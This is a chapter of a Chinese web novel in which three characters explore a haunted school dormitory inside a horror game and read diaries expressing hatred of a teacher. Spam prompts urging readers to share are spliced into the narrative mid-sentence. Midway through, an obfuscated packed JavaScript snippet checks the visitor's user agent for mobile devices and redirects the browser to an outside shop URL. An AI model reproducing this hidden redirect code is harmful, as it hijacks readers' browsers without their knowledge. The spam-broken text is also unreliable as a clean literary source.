第75章万圣节失乐园(5)
【他摸到了……人的脚踝。】
谁在拍门?!
这是所有人脑海中第一个念头。
要知道,刚刚的南瓜灯和人头气球才刚送完他们,没有理由再回来找他们,更不可能拍得这么用力!
那么,门外的“人……是谁?
“砰砰砰砰!!!
铁门被疯狂的地拍打着,而管理室中的管理员似乎也看到了什么不可思议的东西。
明明空中什么也没有,他却惊恐至极,嘶哑地尖叫起来。
“你想做什么?这么多年了,你为什么还是不愿意走?你……啊!!!
一声凄厉的惨叫声响起,接着,陷入一片诡异的寂静。
管理室中的管理员像是突然凭空消失,发出惨叫后,就一声不吭、一动不动了。
“他怎么了?被灭口了?
阮洋惊恐地往后看,头顶上的白炽灯“滋啦一声爆响,忽闪忽灭。
隐约中,他好像看见了……一个血红的影子一闪而过。
“我的妈呀!跑跑跑!阮洋脸色惨白,在拍门声响起的下一刻,他就已经拔腿狂奔,像是被什么看不见的东西追赶着。
通道极其狭窄,三人无法并肩,因此队伍变成了阮洋在最前面,应观洲在中间,猪屠户则殿后。
“鬼屋的追赶机制,通过刺激玩家的神经,让玩家精神紧绷……
应观洲若有所思地跟着阮洋走,他们冲到了走廊尽头,又打开一扇门,而下一刻,阮洋就大叫着“快关门,别让外面那个鬼东西进来了!!
猪屠户“砰地一声将门重重关上,一张猪脸青红交加,“你……做什么反应这么大?
没被鬼吓死,先被阮洋吓**!
“反应能不大吗?被抓到就是死路一条啊!**不就没有以后了吗?
阮洋对这个玩家恨铁不成钢,“你一看就是新手吧?根本不知道这个游戏的恐怖之处!
猪屠户:“……它想反驳,但是仔细一想阮洋说的好像没错……
它确实是第一次进这个鬼屋啊!
见它不吭声,阮洋更加笃定,眼前这猪屠户,恐怕真的是个玩家。
只不过,这初始套装也太丑了,不会吓跑直播间的观众吗?
阮洋用一种前辈的眼神和姿态摇了摇头,随即,往应观洲旁边贴了贴,朝应观洲露出一个讨好的笑脸,“还是小姐姐冷静聪明!
应观洲没有理他,他怕自己再多听一个字,就会真的动杀心,当场把此**卸八块了。
他看了看周围,然后说:“这似乎是个学生宿舍。
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
离开走廊后,他们进入到了一个新房间中。房间里放着常见的宿舍套装,上下床,沾了点灰的学生课桌,角落里还有一个储物柜。
但是最让应观洲疑惑的是那扇门。他把猪屠户拨开,不顾阮洋压低声音“你靠门那么近做什么,外面有鬼东西啊!的劝告声,微微眯起眼睛。
“这个门有点奇怪。
仔细一看,门后,居然被泼满了血红色的油漆,更令人心里一突的是,门后,居然密密麻麻地贴满了符咒。
这扇门就像是一道泾渭分明的分界线,把此间,和方才的管理室分成了两处,界限分明。符咒黄底朱砂,看起来像是镇邪驱鬼用。
阮洋则在应观洲身后缩头缩脑,抱着手臂,鬼校的温度比外面冷了好几度,“我们还不走吗……
应观洲说:“不急。
系统的支线任务中,明确说了需要“调查这个狭小的鬼校,自然不可能那么快就离开。
应观洲继续打量着宿舍,宿舍里的广播器一直在沙沙作响,听起来,仿佛有不祥的毒蛇正悄无声息地游走着,吐着毒芯,在阴暗的角落中窥伺他们。
这种声音极其容易引起人的不安,阮洋怕得喉头缩紧,他害怕地往应观洲的方向一看,却忽然一愣。
不知道什么时候,眼前的黑发少年额头已经布满了冷汗,脸色苍白得几乎透明。
但是他表情却平静,好似什么也没有发生一样。
这个房间极其狭窄,三个人进来后,摩肩接踵,只有手中秉持的火烛,可这火烛能照亮的区域极其有限,阮洋甚至怀疑是不是那个管理员故意坑害他们的……这个暗到几乎没有的光只会让他们更害怕好吗!
更重要的是,这里和黄金乡中应观洲购买的“和平箱庭不同,当初的和平箱庭虽然也是个狭小的盒子,但是并不黑暗,也不存在着藏匿着的、随时会撕咬他们的怪物,是个安全屋。
而眼下这个房间,狭窄黑暗得令人徒生惊恐。
阮洋想起刚刚的警示语,忽然问道:“人偶师小姐,你有幽闭空间恐惧症吗?
应观洲回头看了他一眼。
“没有。
他语气平静,阮洋一愣,不好再多说什么。
三人在房间找寻起来,不知道为什么,刚刚拍门的声音短暂地消失了,似乎是鬼怪暂时不见。
应观洲伸手摸了摸墙壁,墙壁上,有一些不自然的凸起,他拿起火烛,凑近看,“这是……裂纹?
“墙壁上的裂纹,是不是为了映照这个学校曾经坍塌的事情?阮洋也凑过来。
刚刚系统是有提示过鬼校的背景的,这座学校曾经倒塌过。只是不知道这个鬼校镶嵌在这
听说看这本书的人都是很幸运的,分享后你的运气会更棒
个游乐园副本中是个什么样的存在了。
应观洲继续检查着这间宿舍他打开了储物柜的柜门而柜门一开本就有些紧张的直播间瞬间微微一炸。
弹幕——
“**啥啊这是?!”
“怎么血刺呼啦的……烂肉?!”
“怎么还被盛在一个托盘上了我有不好的预感……这个宿舍里住的人不会是有食尸癖的吧?!”
如弹幕所说柜门中赫然放着个血红色的不明物体。
那东西血肉模糊的像是一坨烂肉亦或是一大坨融化的奶油蛋糕放在一个雪白色的托盘上大小则则刚好是生日蛋糕那么大。
阮洋在旁边伸头一看顿时恨不得自戳双目。
“不是肉。”应观洲盯着那坨东西若有所思“如果是肉会有腐烂的气味。”
但是空间中却泛着一股酸味像是酸奶坏掉的气味。
应观洲在阮洋惊恐的神色下继续在储物柜中翻找着果不其然又被他翻到了两样东西。
“一个是生日蜡烛”应观洲看了看“另一个是一张……日记纸。”
日记似乎是这个宿舍的主人写的上面的字迹潦草看得出写的人精神烦闷。
日记1:
【我好想快点毕业老师和父母都好讨厌。】
【感觉我的人生就是一个圈养的栅栏而我是圈中的羊明明外面就是旷野我却只能被困在这一隅。】
【她又来了我最讨厌的人就是她。她为什么每次都不能好好说话?夸赞是很难的事情吗?以前别人都会夸我很聪明我当然很聪明只是稍微没有那么用功而已一旦我认真了成绩很容易就上去了。】
应观洲看了看背面背面没有写东西他眯了眯眼轻声道:
“这个日记应该不止这一份。其他的应该散落在房间中了麻烦两位也一起找找可以吗?”
少年语气平静尾音却又轻又柔像是一个若有若无的小钩子分明是吩咐可听在耳里却更像是在温柔地哄人。
不知道为什么阮洋和猪屠户都下意识地听从了他。
阮洋倒是狗腿属性对于女生他向来是滑跪飞快说一不二的此时此刻在他眼里应观洲是个柔弱的女孩自然应观洲说什么就是什么主打一个从善如流。
而猪屠户则有些不爽
果不其然一人一猪又在床底和空调机上找到了剩余的两页日记并且
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
不约而同地,还是给了应观洲。
应观洲用烛光继续照着。
日记2:
【今天发现,原来讨厌她的人不止我一个,今天宿舍交谈,发现小A和小B也不喜欢她,上一次她甚至把小A骂哭了,真是过分。不就是上课睡着了吗?这也要骂,大惊小怪。】
【我烦**,怎么天天都要早自习?我想睡久一点啊,根本不够睡的,我会长不高的。】
【说到底,读书的意义是什么?以前总有人跟我说,读书的意义是为了改变人生,可是我现在看到不少好大学毕业的学生,最后连工作也找不到,我还不如去做主播呢,之前在平台上有公司跟我私聊,说觉得我长得很好看,问我有没有意向去做主播。】
【我当然有啊!主播一个月,能赚老师一年的钱呢,我有什么理由不去做?她那样生活,有什么意义?每天灰头土脸地来上课,表情凶神恶煞,都那样穷了,结果还要向父母打钱,连自己的生日也不过!】
日记3就很简短了,只有两行字,却触目心惊:
【我恨她。】
【我们都恨她。】
日记越写到后面,语句就越颠三倒四和狂乱,到最后,几乎已经看不清楚字迹了。
“看起来,这个女生,以及她所在的班级,都很讨厌她们的班主任。
应观洲纤细的手指轻轻敲了敲这张纸,“从日记中能看出,这个班主任性别为女,薪资不高,语言严厉,因此,在学生中风评不好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091274|195351||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
阮洋在旁边,却显得有些疑惑,“有点奇怪,我学生时代也遇到过讨厌的老师,但是,如果要说到‘恨’的话……一般的老师是达不到这个程度的吧?恨可是一种很激烈的情感啊。
应观洲抬起眼,瞥了瞥他,问:“什么情况下,你会恨一个人?
阮洋想也没想,脱口而出,“当然是毁掉了我人生的人。
他说完后,顿时一惊,“等会,那意思就是,这个老师对学生们做过什么,导致学生们的人生被毁,所以她们最后才对她产生了恨意?
他扭头看向储物柜中的那个不明物体,忽然联想到什么,脸色惨白,“那这个东西……不会是……老师的一部分吧?
他两眼一黑,看上去已经快要不行了,应观洲说:“不,这只是一个蛋糕。
“看上去虽然像是血……但,恐怕是红丝绒蛋糕吧。这种蛋糕的颜色是红色的,看上去很喜庆。
“那……阮洋有些茫然,“她们为什么会在宿舍里放蛋糕?
不像是为了庆祝什么。
那么,会是……整蛊吗?
应观洲低头看了看,蛋糕的胚已经坏掉了,但是并不像是自然
听说看这本书的人都是很幸运的,分享后你的运气会更棒
腐坏,更像是有人一怒之下,一拳把这个蛋糕给砸了进去。
这里,到底发生过什么?
不远处,门发出“吱呀”一声响,看起来,因为找齐了三张日记纸,他们有离开这个房间的机会了。
阮洋忍不住感慨,“哎,其实当学生、当老师都不容易,可能在老师眼里看来是错误的事情,在学生眼里却是正确的。”
“我之前认识一个主播,啊,就是那种现实中的up主,他就是辍学去做的,最后确实成功了,可是这也只是因为他的成功被看见了,而很多人的失败,其实根本不会有人注意到,都是悄无声息地湮灭的……这也是一种幸存者偏差吧。”
“或许老师只是想要更稳健一点,不一定就是真的错的……”
“你呢?”
阮洋有些好奇,他问应观洲:“如果你是那个老师,你会怎么想?”
应观洲瞥了他一眼。
与泽维尔和祝朗风不同,祝朗风说话总是自带一股傲气,泽维尔则会温柔许多,而阮洋则很明显是个自来熟的话痨,说起话来有些喋喋不休的。
“怎么样怎么样?你什么想法?”看应观洲沉默,阮洋继续连环追问。
看样子不回答还不行。应观洲有些无奈,对于这种好像也不图他什么,反而是很自然而然就黏上他的人,他向来不是很擅长应付,只能说,“不予置评。”
“每个人有每个人的路要走,我从来不会去阻拦别人真正想走的路。”
“这是他们选择的自由,”少年平静道:“也是我对他们的尊重。”
阮洋眨了眨眼。
应观洲这些话听起来好像没什么问题,却莫名其妙地,叫他觉得有些毛骨悚然。
眼前少年的语气像是在说,就算那条路的尽头,是一堵墙,他也不会叫停,任由那些人踩着油门,撞上去。
哪怕撞上去会死,他也不会多说什么。
像是一个彻头彻尾的局外人。
可正常人……会这样吗?
猪屠户有些不耐烦了,它粗声粗气道:“你们还在这浪费什么时间?”
“还不快走!”
“噢噢噢!”阮洋应声。
三人离开宿舍,来到了一个全新的房间,房间门口挂着“三年A班”的标识,似乎是个教室。
这个房间比宿舍大多了,只是,更加黑暗,仿佛一堵看不见尽头的深渊,就连空气似乎都飘着一股血腥味。
阮洋往前一走,似乎就撞到了什么硬邦邦的东西,他下意识地说:“对不起对不起……”
房间里一片漆黑。阮洋伸手摸了摸,冰冷的木质触感,这是什么?课桌?
他又往上摸了摸。
不对。
阮洋脸色一白。
他摸到了……人的脚踝。
有人在黑暗中,踩在课桌上面。
而这座教室里,都是课桌。
也就是说,
现在这座房间里,密密麻麻……都是踩在课桌上,盯着他的,
“人”。
作者有话说:
下一章粥的负面buff又要触发了,猜猜这次是什么病嘿嘿
(发出xp大爆发的嘶溜嘶溜声)
*
受不了了,本来想加强恐怖氛围的渲染,我去搜了几个恐怖歌曲,结果差点把我吓哭了
至今记得我当时进鬼屋,呆了五分钟就按求救铃的窝囊行为……